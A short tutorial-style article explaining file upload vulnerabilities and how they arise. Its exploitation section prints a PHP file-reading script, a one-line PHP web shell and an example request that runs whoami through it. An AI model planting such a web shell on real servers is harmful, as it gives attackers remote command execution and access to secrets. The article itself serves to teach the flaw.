File Upload Vulnerabilities

What Are File Upload Vulnerabilities?

File upload vulnerabilities happen when a server allows users to upload files but doesn’t check them properly. This can let attackers upload harmful files instead of safe ones like images. Sometimes, just uploading the file can cause damage. Other times, attackers send a request to run the uploaded file.

How Do These Vulnerabilities Happen?

Developers try to block harmful uploads, but mistakes can happen. For example:

• They block some dangerous file types but miss others.
  


• They check file types, but attackers fake this using tools.
  


• Rules might not apply everywhere on the website.

Even small mistakes can give attackers a way in.

Exploiting File Uploads with a Simple Script

Attackers might upload harmful scripts that let them control the server. For example, this PHP script shows a file’s content:

<?php echo file_get_contents('secret.txt'); ?>

Once uploaded, the attacker can visit the file and see the content of secret.txt.

Another example is a script that runs commands:

<?php echo system($_GET['cmd']); ?>

The attacker can use it like this:

GET /hack.php?cmd=whoami

This runs the whoami command and shows who controls the server.

Protecting file uploads is very important to keep servers safe!

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